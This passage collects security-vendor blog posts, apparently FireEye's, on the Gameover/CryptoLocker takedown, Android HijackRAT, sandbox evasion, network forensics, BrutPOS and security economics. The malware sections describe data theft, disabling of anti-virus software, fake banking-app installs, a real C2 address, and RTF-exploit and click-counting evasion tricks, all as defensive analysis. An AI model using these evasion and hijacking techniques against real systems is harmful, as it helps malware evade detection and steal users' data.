Obtaining an indictment against a Russian national who will likely never be extradited to the United States isn’t sufficient to put an end to a criminal organization. In 2011, Russian citizen Aleksandr Andreevich Panin was indicted in the US on 23 counts related to the development and distribution of SpyEye but was not arrested until 2013 when he flew through Hartsfield-Jackson Atlanta International Airport. The Russian government, in a travel warning to its citizens, specifically mentions Panin and recommends that Russians facing legal action in the US should refrain from travelling internationally.

The Takeover

Drawing on the technical expertise of its members, the Operation Tovar task force was able to exploit flaws in the design of Gameover’s P2P network to manipulate the peer list and redirect traffic to nodes under its control. The specific technical details have not been released to the public in order to prevent the criminals from regaining control.

Gameover’s failsafe mechanism, the DGA that was supposed to have allowed the criminals to maintain control in the event of a P2P disruption, was reverse engineered by task force members. The FBI then obtained a restraining order to redirect any attempts to register those domains to a government-run server. Furthermore, US service providers are required to block connections to the Russian .ru domains generated by the DGA since the US has no jurisdiction to prevent their registration.

CryptoLocker also used a DGA for determining C2 locations. The algorithm was reverse engineered and the C2 servers were identified and seized by the Operation Tovar task force. Due to the use of an asymmetric key algorithm, CryptoLocker victims whose files remain encrypted currently have no avenue of remediation.

Operation Tovar’s success can be measured by two factors: (1) Have the criminals regained control of their botnets and (2) Is the malware being removed from infected machines? While we can’t say for certain that the people responsible for Gameover and CryptoLocker have ceased all criminal activity, they have not regained control of the network disrupted by Operation Tovar. Based on this fact alone, the task force should be commended. Successful botnet disruptions are very challenging. Attempted takeovers over Kelihos have been undone after only two weeks.

The remediation of infected machines is an even more difficult task. US-CERT has published a list of recommended actions and resources, and a number of the private companies involved in Operation Tovar have released scanning tools. The onus remains on individuals and organizations to use these resources to determine if they are infected and take the appropriate steps to remediate the problem. Statistics published by The Shadowserver Foundation show the number of machines infected with Gameover has remained essentially flat since the takeover. There are simply not enough people taking advantage of the resources available to remediate their systems.

tovar1

The task force has taken control of the C2 network and now some people may believe that the malware is neutered and no further action is required. It is important to remember that any malware is unauthorized code running on a computer. The integrity of the system is still compromised, regardless of who is in control of the botnet.

Announcing the FLARE Team and The FLARE On Challenge

I would like to announce the formation of the FireEye Labs Advanced Reverse Engineering (FLARE) team. As part of FireEye Labs, the focus of this team is to support all of FireEye and Mandiant from a reverse engineering standpoint. Many FireEye groups have reversing engineering needs: Global Services discovers malware during incident response, Managed Defense constantly discovers threats on monitored client networks, and Products benefit from in-depth reversing to help improve detection capabilities.

We primarily focus on malware analysis, but we also perform red-teaming of software and organizations, and we develop tools to assist reverse engineering. Our research and tools assist with automatic malware triage to quickly get initial results out to incident responders in the field. Auto-unpackers unravel obfuscated samples without the need for an analyst. Automatic clustering and classifying samples helps identify if a binary is good or bad and whether we have analyzed it before. We develop reverse engineering scripts for IDA Pro and systems that help us quickly share our analysis results. We also write scripts that can help incident responders decrypt and interpret malware network traffic and host artifacts.

This elite technical enclave of reversers, malware analysts, researchers, and teachers, will team up with our FireEye Labs peers to help bring the best detection to our customers and promote knowledge sharing with the security research community. We’ll continue to provide technical training on malware analysis privately and at conferences like Black Hat. Look for us to present webinars on malware analysis and a blog series of scripts for IDA Pro to aid reverse engineering of malware.

The Challenge

To commemorate our launch, the FLARE team is hosting a challenge for all reverse engineers and malware analysts. We invite you to compete and test your skills. The challenge runs the gamut of skills we believe are necessary to succeed on the FLARE team. We invite everyone who is interested to solve the challenge and get their just reward!

The puzzles were developed by Richard Wartell, a reverse engineer with a PhD in “IDA Pro” (actually Computer Science, but his thesis used IDA Pro) from the University of Texas at Dallas where he worked on binary rewriting techniques for the x86 instruction set. He recently presented this work at the REcon conference in Montreal. At Mandiant Richard focused on incident response, but now on the FLARE team he reverse engineers malware, teaches malware classes, and helps develop our auto-unpacking technology.

As reverse engineers we’ve seen a variety of anti-reverse engineering techniques. Oftentimes the armoring malware authors employ is sophisticated and requires time to unravel. Sometimes it is misguided and easily circumvented.

Writing these binary puzzles has given us a chance to recreate some of the sophisticated (and sometimes ridiculous) techniques we see. The seven puzzles start with basic skills and escalate quickly to more difficult reversing tasks. At FLARE we have to deal with whatever challenges come our way, so the challenge reflects this. If you take on the challenge you might see malicious PDFs, .NET binaries, obfuscated PHP, Javascript, x86, x64, PE, ELF, Mach-O, and so on.

And after completing the final challenge, you’ll win a prize and be contacted by a FLARE team member. The full details can be found at: www.flare-on.com.

So on behalf of the FLARE team, I say Happy Reversing!

The Service You Can’t Refuse: A Secluded HijackRAT

In Android world, sometimes you can’t stop malware from “serving” you, especially when the “service” is actually a malicious Android class running in the background and controlled by a remote access tool (RAT). Recently, FireEye mobile security researchers have discovered such a malware that pretends to be a “Google Service Framework” and kills an anti-virus application as well as takes other malicious actions.

In the past, we’ve seen Android malware that execute privacy leakage, banking credential theft, or remote access separately, but this sample takes Android malware to a new level by combining all of those activities into one app. In addition, we found the hacker has designed a framework to conduct bank hijacking and is actively developing towards this goal. We suspect in the near future there will be a batch of bank hijacking malware once the framework is completed. Right now, eight Korean banks are recognized by the attacker, yet the hacker can quickly expand to new banks with just 30 minutes of work.

Although the IP addresses we have captured don’t reveal who the attacker is, as the computer of the IP might be a victim as well, we have found from the UI that both the malware developer and the victims are Korean speakers.

Fig. 1. The structure of the HijackRAT malware.

Fig. 1. The structure of the HijackRAT malware.

The package name of this new RAT malware is “com.ll” and appears as “Google Service Framework” with the default Android icon. Android users can’t remove the app unless they deactivate its administrative privileges in “Settings.” So far, the Virus Total score of the sample is only five positive detections out of 54 AV vendors [1]. Such new malware is published quickly partly because the CNC server, which the hacker uses, changes so rapidly.

Fig. 2. The Virus Total detection of the malware sample. [1]

Fig. 2. The Virus Total detection of the malware sample. [1]

 

Fig. 3. The fake “Google Service Framework” icon in home screen.

Fig. 3. The fake “Google Service Framework” icon in home screen.

A few seconds after the malicious app is installed, the “Google Services” icon appears on the home screen. When the icon is clicked, the app asks for administrative privilege. Once activated, the uninstallation option is disabled and a new service named “GS” is started as shown below. The icon will show “App isn’t installed.” when the user tries to click it again and removes itself from the home screen.

Fig. 4. The background service of the malware.

Fig. 4. The background service of the malware.

The malware has plenty of malicious actions, which the RAT can command, as shown below.

8commands

Within a few minutes, the app connects with the CNC server and begins to receive a task list from it:

get

The content is encoded by Base64 RFC 2045. It is a JSONObject with content: {“task”: {“0″: 0}}, when decoded. The server IP, 103.228.65.101, is located in Hong Kong. We cannot tell if it’s the hacker’s IP or a victim IP controlled by the RAT, but the URL is named after the device ID and the UUID generated by the CNC server.

The code below shows how the URL of the HTTP GET request is constructed:

code-get

- “UPLOAD PRIVACY DETAILS”

The task list shown above will trigger the first malicious action of “Upload Phone Detail.” When executed, the user’s private information will be uploaded to the server using HTTP POST request. The information contains phone number, device ID, and contact lists as shown below in the network packet of the request:

post

When decoded, the content in the red and blue part of the PCap are shown below respectively:

1. The red part:

post-pcap-decrypt1

2. The blue part:

post-pcap-decrypt2

The contact list shown above is already highly sensitive, yet, if the user has installed some banking applications, the malware will scan for them too.

In a testing device, we installed the eight Korean bank apps as shown below:

Fig. 5. The eight banking apps.

Fig. 5. The eight banking apps.

When this was done,  we found the value of “banklist” in the PCap is no longer listed as N/A anymore:

8banks-pcap

The “banklist” entry in the PCap is filled with the short names of the banks that we installed. There is a map of the short names and package names of the eight banking apps installed on the phone:

table

The map of the banks is stored in a database and used in another malicious action controlled by the CNC server too.

- “POP WINDOW”

In this malicious action, the CNC server sends a command to replace the existing bank apps. The eight banking apps require the installation of “com.ahnlab.v3mobileplus,” which is a popular anti-virus application available on Google Play. In order evade any detections, the malware kills the anti-virus application before manipulating the bank apps. In the code as shown below, Conf.LV is the “com.ahnlab.v3mobileplus” being killed.

killav

Then, the malware app parses the banking apps that the user has installed on the Android device and stores them in the database under /data/data/com.ll/database/simple_pref. The red block below shows the bank list stored in the database:

db8banks

Once the corresponding command is sent from the RAT, the resolvePopWindow() method will be called and the device will pop a Window with the message: “The new version has been released. Please use after reinstallation.”

code-popwindow

The malware will then try to download an app, named after “update” and the bank’s short name from the CNC server, simultaneously uninstalling the real, original bank app.

code-install

In the code shown above, “mpath” contains the CNC server IP (103.228.65.101) and path (determined by the RAT); “mbkname” is the bank name retrieved from the SQL lite database. The fake APK (e.g. “updateBH.apk”) is downloaded from the CNC server, however we don’t know what the fake apps look like because during the research the command for this malicious action was not executed from the RAT. Yet the source of the “update*.apk” is definitely not certified by the banks and might be harmful to the Android user.

- “UPDATE”

When the command to “update” is sent from the RAT, a similar app – “update.apk” is downloaded from the CNC server and installed in the Android phone:

code-update

- “UPLOAD SMS”

When the command to upload SMS is received from the RAT, the SMS of the Android phone will be uploaded to the CNC server. The SMS has been stored in the database once received:

code-uploadsms

code-savesms

Then the SMS is read from the database and uploaded to the CNC server once the command is received:

code-uploadsmscnc

- “SEND SMS”

Similarly, when the sending SMS command is received, the contact list is sent through SMS.

code-sendsms

- “BANK HIJACK”

Interesting enough, we found a partially finished method called “Bank Hijack.” The code below partially shows how the BankHijack method works. The malware reads the short bank name, e.g. “NH”, and then keeps installing the updateNH.apk from the CNC server until it’s of the newest version.

code-hijack

So far the part after the installation of the fake app is not finished yet. We believe the hacker is having some problems finishing the function temporarily.

code-hijack-half

As shown above, the hacker has designed and prepared for the framework of a more malicious command from the CNC server once the hijack methods are finished. Given the unique nature of how this app works, including its ability to pull down multiple levels of personal information and impersonate banking apps, a more robust mobile banking threat could be on the horizon.

REFERENCE

__________________________________________________

[1] https://www.virustotal.com/intelligence

 

 

 

 

Turing Test in Reverse: New Sandbox-Evasion Techniques Seek Human Interaction

Last year, we published a paper titled Hot Knives Through Butter, Evading File-Based Sandboxes.  In this paper, we explained many sandbox evasion methods–and today’s blog post adds to our growing catalog.

In the past, for example, we detailed the inner workings of a Trojan we dubbed UpClicker. The malware was notable for a then-novel technique to evade automated dynamic analysis systems (better known as sandboxes). UpClicker activates only when the left mouse button is clicked and released — a sign that it is running on a real, live, human-controlled PC rather than within an automated sandbox.

If the malware determines it is running in a sandbox, it lies dormant so that the sandbox doesn’t observe any suspicious behavior. Once the sandbox incorrectly clears it as a benign file, UpClicker goes on to a real computer to do its dirty work.

Last year, our colleague Rong Hwa shared the technical details of another sandbox-detecting Trojan called  BaneChant. Like UpClicker, BaneChant uses human interaction to ascertain whether it is running in a virtual-machine environment, activating only after it detects more than three left clicks.

Since then, we’ve seen a spate of new malware that pushes the concept further. The newest sandbox-evading malware counters recent efforts to mimic human behavior in sandbox environments.

This blog post describes three tactics that FireEye has discovered in recent attacks.

Sandbox evasion: a primer

Most sandbox-evasion techniques fall into one of three categories:

Human interaction. This category includes malware that requires certain actions on the user’s part (a sign that the malicious code is running on a real-live PC rather than within an automated sandbox).

Configuration specific. Malware in this category takes advantage of the inherent constraints of file-based sandboxes. For example, knowing that a sandbox can spend, say, five minutes running suspicious code for analysis, malware creators can create code that automatically lies dormant for a longer period. If the code is still running after that, it’s probably not in a sandbox.

Environment specific. In this category, malware checks for telltale signs that its code is running in widely used VM environments. It checks for obscure files unique to VMware, for instance, or VM-specific hardware drivers.

The first category of sandbox evasion is one of the trickiest to counter. To fool sandbox-detecting malware, some vendors now simulate mouse movement and clicks in their virtual-machine environments to mimic human activity. But malware authors are upping the ante with even more sophisticated sandbox detection and evasion techniques.

To scroll is human

One malware we discovered lies dormant until the user scrolls to the second page of a Rich Text Format (RTF) document. So simulating human interaction with random or preprogrammed mouse movements isn’t enough to activate its malicious behavior.

Here’s how it works:

RTF documents consist of normal text, control words, and groups. Microsoft’s RTF specification includes a shape-drawing function, which includes a series of properties using the following syntax:

{\sp {\sn propertyName } {\sv propertyValueInformation}}

In this code, \sp is the control word for the drawing property, \sn is the property name, and \sv contains information about the property value. The code snippet in Figure 1 exploits a vulnerability that occurs when using an invalid \sv value for the pFragments shape property.

turing1

Figure 1: Code exploiting vulnerability in the RTF pFragments property

A closer look at the exploit code reveals a series of paragraph marks (./par) that appears before the exploit code.

turing2

Figure 2: A series of \.par (paragraph marks) that appears before the exploit code

The repeated paragraph marks push the exploit code to the second page of the RTF document. So the malicious code does not execute unless the document scrolls down to bring the exploit code up into the active window—more likely a deliberate act by a human user than simulated movement in a virtual machine.

When the RTF is scrolled down to the second page, then only the exploit code triggers, and  as shown in Figure 3.0, it makes a call to  URLDownloadToFileA function from the shell code to download an executable file.

turing3

Figure 3: Exploit code

In a typical file-based sandbox, where any mouse activity is random or preprogrammed, the RTF document’s second page will never appear. So the malicious code never executes, and nothing seems amiss in the sandbox analysis.

Two clicks and you’re out

Another sandbox-evading attack we spotted in recent attacks waits for more than two mouse clicks before executing. The two-click condition aims to more accurately determine whether an actual person is operating the targeted machine—most people click mouse buttons many times throughout the day—or a one-time programmed click designed to counter evasion techniques.

Here’s how this technique works:

The malware invokes the function Get AsyncKeyState in a loop. The function checks whether any mouse buttons are clicked by looking for the parameter 0×01, 0×02, or 0×04. (The parameter 0×01 is the virtual key code for the mouse’s left button, 0×02 is the code for the right button, and 0×04 is the code of the middle button.)

The instruction “xor edi edi” sets the edi to 0. If any of the buttons is pressed, the code invokes the instruction “inc edi,” as shown in Figure 4. After that, the  instruction “cmp edi,2” checks whether the left, right or middle mouse buttons have been clicked more than two times. If so, code exits from the loop and gets to its real work. Otherwise, it stays under the radar, continuously checking for more mouse clicks.

turing4

Figure 4: Assembly code for evasion employing left, middle or right mouse clicks

Slow mouse, fast sandbox

Another recently discovered evasion technique involves checking for suspiciously fast mouse movement. To make sure an actual person is controlling the mouse or trackpad, malware code checks how quickly the cursor is moving. Superhuman speed is a telltale sign that the code is running in a sandbox.

This technique also makes use of the Windows function GetCursorPos, which retrieves the system’s cursor position. In the example malware code shown in Figure 5, GetCursorPos returns 614 for the x-axis value and 185 for the y-axis value.

turing5

Figure 5: Malware making first call to API GetCursorPos

After few instructions, malicious code again calls GetCursorPos to check whether the cursor position has changed. This time the function returns x= 1019 and y = 259, as shown in Figure 6.

turing6

Figure 6: Malware making second call to API GetCursorPos

A few instructions after the second GetCursorPos call, the malware code  invokes the instruction “SUB EDI, DWORD PTR DS:[410F15]”. As shown in the figure 5.0, the value in EDI is 0×103 (259 in decimal) and DS:[410F15] = 0xB9 (185 in decimal). The value 259 and 185 are the Y coordinates retrieved from the two GetCursorPos calls. If the difference between the two Y-coordinate measurements is not 0, then the malware terminates.

turing7

Figure 7:  Subtracting the Y coordinates to detect whether the cursor is moving too quickly to be human-controlled

In other words, if the cursor has moved between the two GetCursorPos calls (which are only a few instructions apart), then the malware concludes that the mouse movement is simulated. That’s too fast to be a real-world mouse or track pad in normal use, so the code must be running in a sandbox.

A growing challenge

Cybersecurity is a constant arms race. Simulating mouse movement and clicks is not enough to fool the most advanced sandbox-evading malware. Now malware authors are incorporating real-world behaviors into their evasion strategies.

Simulating these behaviors—the way actual people scroll documents, click the mouse button, and move the cursor— is a huge challenge for cybersecurity. Anticipating future evasion techniques might be even tougher. Expect malware authors to employ more novel techniques that look for that human touch.

In the paper “Hot Knives Through Butter: Evading File Based Sandboxes,” we’ve outlined 15 prior evasion techniques that have been used by advanced malware in real attacks to bypass file based sandboxes. We plan to continue updating the evasion series as we come across new techniques used by the latest threats and advanced malwares to bypass file based sandboxes.

Security Perspective


Filter by Category:


Network Forensics: Use Cases In the Enterprise

Network forensics is an important component of a successful security operations program. It is an important capability that provides a data of record for the incident responder and plays an important role in the daily security operations workflow.  While the utility and importance of network forensics may be clear to the security professional, that value may be difficult to communicate to the business decision maker or executive. In this post, I’d like to discuss several business use cases for network forensics that may help communicate the value and business need for network forensics as an integral component of incident response.

Breach Response

When an organization discovers, or is notified of a breach, time becomes of the essence. The organization’s immediate focus becomes moving quickly from detection to containment. In order to make this move, the organization needs to answer a set of essential questions aimed at identifying the extent of the breach and the damage caused by it. This process is often called breach response and involves investigation, analysis, and forensics. Examples of some of the questions that will need to be answered are:

  • How long has this activity been going on (i.e., when did the intrusion begin)?
  • Is the activity still going on?
  • How many systems were affected?
  • What data was taken?
  • Was any sensitive, proprietary, or confidential information taken?

These and other relevant questions are designed to focus the organization on rapidly identifying the extent of the damage, both for containment purposes, but also to address potential public relations, legal, and privacy concerns. For example, consider the case where a law enforcement agency approaches a business (of any size) and informs them that they have been breached and have been observed communicating with a known drop site. The organization will have many questions, including, among many others, those listed above. An accurate, cohesive, lossless data of record is required to properly answer all of the necessary questions. Further, it’s not sufficient merely collect the data, but rather, it must be easy to precisely, incisively, and rapidly extract that data for analysis and forensics.

Hunting

On any network, there will be unusual or suspect activity from time to time. Sometimes, this unusual activity can be indicative of advanced threats and targeted activity. Many times, the threat actors are quite adept at keeping a low profile and executing actions on objectives subtly. For example, Advanced Persistent Threat (APT) actors may compromise an endpoint inside of an organization and slowly collect sensitive, proprietary, or confidential information to stage for subsequent exfiltration. While detecting this activity in an automated fashion would be ideal, this turns out to be very difficult in practice. As a result, if this activity is successfully detected within the organization (as opposed to via a third party), it is most often done so via hunting. Hunting is the activity through which skilled analysts use a variety of different analytical techniques to “slice and dice” the network traffic data in the “hunt” for this subtle malicious activity. The best analysts will want to issue targeted, precise, incisive queries designed to extract the proper forensics data rapidly, with minimal noise. This requires a network forensics capability that can rise to this challenge at enterprise network speeds and traffic volumes.

Metrics/Network Knowledge

Metrics provide important data points to the decision maker and executive. As a recent example, let us consider the many new Top Level Domains (TLDs) that have become available for use. Attackers have already leveraged some of these TLDs for malicious purposes, and this activity will undoubtedly continue to increase. This example begs the question: If a TLD serves no legitimate business purpose and can only expose the organization to risk, should it be blocked proactively? I believe the answer to this question is yes. But how can we ensure that a TLD serves no business purpose? This is where the metrics and network knowledge become so crucial.  Business decisions should be based on facts, and facts come from an accurate, precise data of record – the network forensics data. This is merely one example of the many business questions that can be answered with metrics driven by network forensics data. When business decision makers or executives need answers, it is best to be able to provide answers based on ground truth.

Intelligence

When leveraged properly, actionable intelligence can provide additional enrichment and maturity to a security operations program, as well as aid in the improved detection of intrusions. Leveraging intelligence properly involves many details, but one of the most important details is that a reliable data of record exists. After various Indicators of Compromise (IOCs) are received and vetted, they should be leveraged against a reliable data of record in order to maximize their value. There are two time-based aspects here – historical and ongoing. We can run IOCs against our historical data to check for evidence of intrusions present on the network from the past on through the current day. In addition to that, we should also monitor for evidence of intrusions on an ongoing basis and raise an event to the alert queue when we see that evidence. These are both productive activities, assuming that an accurate, cohesive, lossless data of record exists for us to run the IOCs against.  Further, it is not merely enough to collect the data – we need to be able to rapidly and surgically extract the data through targeted, precise, and incisive queries. For example, an organization may receive a daily feed of malicious command and control domain names from one or more of its intelligence sources. That data needs to be run against a corresponding data of record to find instances of command and control activity present on the organization’s network indicating that some systems are compromised. A scalable network forensics solution, one that can both record all of the network data at high speed as well as make that data and meta-data available for analysis, is required in order to properly leverage intelligence.

DNS/Passive DNS

Data from Domain Name System (DNS) queries and responses provide a wealth of insight into unusual or suspect activity that may be occurring on the network. For example, most users pointing their browsers at legitimate websites will request domain names that resolve to routable, public IP addresses. But what if a resource on the network repeatedly requests a domain name that resolves to private, non-routable IP address or one that has no resolution at all? Further, what if that domain name suddenly “comes alive” and begins resolving to a routable, public IP address and/or the resource begins exfiltrating data to that IP address? This is just one of many interesting applications of DNS query and response data. As interesting and crucial as this data is, many organizations struggle to maintain adequate visibility across their DNS infrastructure. There are many reasons why this is the case, but there is a solution. A network forensics platform collects layer 7 enriched meta-data for many application protocols, DNS among them. This provides an organization with a de facto DNS monitoring and passive DNS data collection system, without requiring the organization to invest in additional technology or hardware. It’s one of my favorite use cases for network forensics and likely one that will resonate with many readers. For smaller organizations, there is also the additional benefit of using using one network forensics technology for multiple purposes.

Intelligent Alerting

As the old saying goes, ask a stupid question, get a stupid answer. The modern attacker is intelligent and sophisticated. We would be naïve to think that we could identify a sly attacker’s subtle activity with dull, generic queries. If we want to find the intelligent attacker, we need to ask intelligent questions. Asking intelligent questions requires two fundamental components. The first required component is that the data be collected and its associated meta-data extracted and indexed for rapid search. The second required component is a robust query language that allows the analyst to ask incisive, targeted, precise, intelligent questions of the data. It’s likely not a surprise that a mature, scalable, powerful network forensics solution provides both of these required components. For example, say I am a mid-sized organization concerned by potential theft of intellectual property from my executives. With the right solution in place, I can precisely craft my alert logic so as to focus in on the specific employees, systems, data, and threats I am concerned with. In the absence of that capability, many organizations struggle to issue queries powerful enough to identify suspicious and malicious activity designed to behave subtly and fly under the radar.

There are many use cases for network forensics, but I’ve tried to list those that may help to reinforce the strong business need for network forensics. When the need arises to perform breach response or any of the other use cases listed above, the organization that has implemented a robust, scalable network forensics solution will fare better than the organization that has not. With the stakes so high these days, it would be a shame not to be prepared.

BrutPOS From a Security Practioner’s Perspective

Today, FireEye Labs posted a technical blog on the malware for a botnet that we call BrutPOS. With a lot of attention focused on data breaches in retail, BrutPOS gives us a chance to look retrospectively on the state of retail security.

The popular phrase “a chain is only as strong as its weakest link” has great relevance in the information security world.  There are a large number of ways to compromise a business network, yet attackers are quite successful in this endeavor using fairly pedestrian methods of attack.  This raises the important question: Why is this the case?  Part of the answer lies in the fact that attackers don’t feel a great need to use particularly sophisticated attack methods.  In other words, if attackers can succeed using fairly elementary attack methods, why should they work any harder?  Let’s examine this principle through the example of the BrutPOS malware.

Most businesses use Microsoft’s Remote Desktop Protocol (RDP) as an integral part of their day-to-day business operations.  RDP allows for remote login to Windows systems.  This has many legitimate uses, such as an administrator logging on to a system remotely to update a software package.  Like any legitimate service, attackers are also quite happy to leverage RDP for their own nefarious purposes.  An example of this is the BrutPOS malware, the analysis of which was detailed in a FireEye blog post today. At a high level, the purpose of the BrutPOS malware is to compromise Point of Sale (POS) terminals through the use of the remote desktop protocol (RDP).  The malware aims to steal payment card information from those compromised POS terminals.  There is no need for the attackers to write a sophisticated protocol for their malware to log on to systems remotely – the RDP works quite nicely.

There are many approaches an organization can take to better manage the risk presented in the BrutPOS malware. One of those approaches is to go back to basics and remember some important foundational tenets of information security.  This approach involves ensuring that authentication and authorization policies are sensible and enforced across the organization.  For example, some simple steps an organization can take to improve its defenses against threats such as BrutPOS include (but are not limited to):

  • Not allowing administrative access to systems, with the exception of special administrative accounts for administrators
  • Locking out accounts after N number of incorrect login attempts
  • Not allowing RDP login by default on systems, but rather, granting it on an as needed basis
  • Limiting or eliminating the use of shared or group accounts
  • Monitoring authentication logs for repetitive failed login attempts to one system or multiple systems

As organizations look to continually improve their information security postures, it’s important to remember that foundational tenets are as valid as ever.  We do need to ensure that we have a variety of defensive measures in our arsenal, but it’s important to remember that not all of them need be cutting edge.  Sometimes, foundational best practices can provide us with straightforward approaches to mitigating risk posed by modern threats.

Economics of Security Part II: Qualifying the Economic Return From Cybersecurity Solutions

In part one of this series, my colleague, Bryce Boland, CTO, APAC touched on aligning a security program with the value-areas of a business. To be successful in this endeavor, you must calculate the return on investment (ROI) that a robust security program will offer. In part two, I will offer recommendations to achieving this.

The economics of security is an interesting challenge. I polled some contacts and discovered that, as much as we focus on reducing the capex on software and hardware, the majority of costs are actually opex. Therefore if we want to drive efficiencies in security, we should look at the usability (i.e. the time and costs required to achieve the desired outcome) of the tools as much as what they actually do.

Cybersecurity is a multi-dimensional problem, so whilst we consider efficiencies we must look at them in the context of outcomes and value. Our value question in cybersecurity has two factors: (1) are we able to leverage the most efficient path to obtain the solution and (2) being able prioritize on events/incidents that have the greatest business impact.

Simple event/incident response process

The rudimentary processes behind cyber have been around for years and are well documented in various standards. There’s a catalyst event that drives us to understand the problem, so we can qualify and prioritize if and when we need to respond – i.e. solve the problem.

Screen Shot 2014-07-02 at 10.41.08 PM

Are we increasing or decreasing efficiencies?

In recent years many have suggested the logic that “big data” can help us make smart decisions. Yet there is danger that this can create a spiral effect that has the potential to cripple us. By adding more content, we increase the cycles required to understand, qualify and respond. There is also a key question around the quality of that data. Take for example all the events we aggregate into a SIEM tool today, how many of those are truly worth taking action on?

How do we measure success and value?

If we are to evaluate the economic value cyber security solutions bring we need to look less at what they do and instead more how they do it. We need to understand the quality of the information they provide, both in terms of business impact and conversion to action, as well as the operational cycles required to achieve this; which are the cost & time multipliers.

As our technology world complexity continues, the operational aspect as a multiplier can only increase. Today I hear more companies asking for partnerships to solve problems rather than products; they see the time and skills challenge in solving the problem as prohibitive. If we are to succeed today, we need outcome focused solutions; that is they are efficient in providing actionable responses that are business oriented in their focus and/or services that reduce the operation costs associated with time to action. So how do we evaluate this in our buying criteria?

There have been many ROI tools that try to qualify the potential value that come from security investments. However if we are to align to business goals, we must drill into the process behind event correlation/validation – the heart of security – for business impact assessment and response actions.

Qualifying economic value from event/incident management

The framework below aims to give you a reference point to start to map out the economics of your security program.

Given solving this problem is entirely dependent on each individual organization; we must be able to qualify what makes our businesses profitable and how technology enables this. The model does not include metrics in each part of the incident lifecycle but does highlight some of the common key success metrics.

To make economic judgments, you need to assess the following:

  1. What is the ratio between events received and action taken?
  2. What is the efficacy level in the events & incidents you identify (i.e. the real cyber attack event to false positive ratio)?
  3. How many cycles do you iterate through to get from an event(s) to an action; is it timely and cost efficient? (Can you rank the processes/tools you leverage today in terms of man-hours and skills required to get to to action?)
  4. Do you align, prioritize and qualify events against against business goals and impact (How many cycles does this take)?
  5. Make the assessment using the framework & success criteria below to evaluate the key time and cost multipliers in your event/incident security process, so you can validate the economic value that comes from the processes and tools you leverage today, to see which are effective and which are not?
Measures of effectiveness of event/incident management

Measures of effectiveness of event/incident management

In conducting the evaluation process above (and visually outlined above), there is a defined process for tying operational expenditures with investments for securing the processes that generate business value. By analyzing the actions taken to conduct security operations and the, ideally, efficiencies in doing so, security leaders will be able to provide a full picture of their impact on the business. Ultimately, this changes the security conversations from just security to business practices overall.

Economics of Security Part I: Translating Information Security Risks to Business Risk

In this two-part series, my colleague, Greg Day, VP & CTO EMEA and I will focus on making the business case for security solutions that will protect your organization.

One of the many challenges IT Security professionals face is translating the security risks of technologies into the business risks they pose to the company. This translation is critical to building buy-in from your business to fund security initiatives and ensure your projects are funded properly relative to the myriad other things your business is pursuing with its money.

But where should you start? I’ve found that the best place to start is by looking at the processes in the business that generates value. These are the parts of the business that a results-oriented manager will want to protect from threat. By describing security risks in terms of how critical business processes – and their subsequent value generation – could be disrupted, your concern will resonate better with management. Consider the total business value that process generates today – is it 15 percent of the business or 85 percent? Give it a dollar figure. Given your assessment of the likely threat actors and security risks, how much of that value could be destroyed? This is a simple measure of the possible direct or immediate loss that could be experienced – something management are often measured and rewarded on.

Next you can look at knock-on impacts – this too helps speak to the management incentives. If the security risk manifests and creates a specific and significant business impact, would the market, regulators or customers notice? Would the stock price of the company drop as a result? Most business leaders will have a significant and direct interest in market valuation as their remuneration is often closely linked to the company’s stock market performance. Similarly, ask what is the business impact if a security failure leads to a loss of customers, of transaction volume, or increased regulatory scrutiny? Could you face a class action suit?

Sometimes the link between the business value generated and the technology underpinning it is a little hazy, but any modern business process that creates value will leverage and create data. It might be your customer data, the “secret sauce” of your products, a manufacturing capability that ensures your product has the best quality, the output from your R&D team, or perhaps it’s the plans for your next new business. Whatever this data is, and how you depend on it in your business, ensuring it is protected from threats is the difference between success and failure for many companies. Often this data is what the attacker is after. From a business perspective, the reliance on this data to operate the business effectively is how you connect the security risk to the business risk.

What are the most important assets and data in your business that create real value? This is very specific to every business. Think like an attacker: if you were to attack your business, what information would you steal, and why? What could you monetize, use to gain economic advantage, or gain market share? You can assess the value of that asset to your company in terms of potential losses from the dependent business processes, and the value of that asset to an attacker. Then determine how much you should invest to protect against the risks from cybersecurity threats. By going through the process of understanding how data and IT assets are part of the value creation in your business, you actually create the story to help understand the business risk, because you construct the discussion starting from the business process first.

Sometimes the most valuable thing you have is access to your customers. If your customers are large companies, this might make you a springboard to attack a smaller company – and likewise for a larger company your greatest security risks could be exposure to the less security aware vendors in your operations and supply chain. Make sure to consider these scenarios when talking to your business. As larger organizations consider the risks in their supply chain, they will increasingly consider security requirements in MSAs and demand not just compliance but demonstrable security capabilities in their business partners. It is a logical extension of risk management thinking to consider the broader supply chain risks as part of overall business risk management, and this will drive many smaller businesses to invest in improved security capabilities.

More than half the organizations we surveyed do not regularly assess their information security investments in terms of their value relative to the business process they protect. My recommendation is to re-evaluate your investment plan annually, and ensure that your continued security investments are relevant to the threats your business faces. You might also consider using a risk framework like ISO27005 as a tool to help you manage this in a consistent way, to prioritize risks and corresponding investments.

To summarize: understand how and where your business makes its money, illustrate the dependency on technology and data, then explain security risks in terms of the business impact.

In the second part of this series, Greg will discuss how to measure the economic value of your cybersecurity solutions.

Key Themes From the 2014 Gartner Security Summit

Last week, Gartner held its security summit in Washington, DC.  A few key themes bubbled to the top during the course of the conference.

Theme #1:  Security needs a new architecture
Security architecture requirements will change radically in the coming years.  Basically, security will move to a “detect and respond” approach.  This was best summarized by one article that covered the conference explaining how vendors are evolving:

[Gartner analyst Neil] MacDonald noted that the need for adaptive security architectures has triggered a land-grab among vendors, large and small, trying to expand their reach, with many rapidly transforming as investors pour money into startups and acquisitions.

FireEye Inc. is at the top of the list, MacDonald said, not only with its January acquisition of Mandiant, but also recently by adding integrated, low-cost IPS capabilities to its threat prevention platform.

Theme #2:  Mobile security
Many CISOs expressed mobile security and BYOD as a key area of concern.  In one session, mobile application security was mentioned as a key approach to leverage.  To succeed, enterprises should evaluate applications by:

  • Testing application source code
  • Testing application behavior
  • Testing communications between the app and web services
  • Automatically submitting apps for testing.
  • Knowing app risk/reputation—using scores
  • Combining and correlating detection with protection.

Theme #3:  Incident Response is a core discipline
Under a security paradigm of detect and respond—the importance of incident response has become critical.  In one session, analyst Anton Chuvakin laid out a step-by-step approach for incident response.  In addition, other sessions frequently alluded to the growing importance of IR.

Theme #4:  Dealing with advanced attacks
Dealing with advanced attackers was a high profile topic—with many sessions focusing on the “how-to’s” of blocking an advanced attacker.  Most notably, Lawrence Orans gave a talk on the “Five Styles of Stopping Advanced Attacks.”  He started the talk stating that “Traditional defense-in-depth components are still necessary, but no longer sufficient.”  His framework recommends five styles of advanced threat defense that include:

  • Network traffic analysis
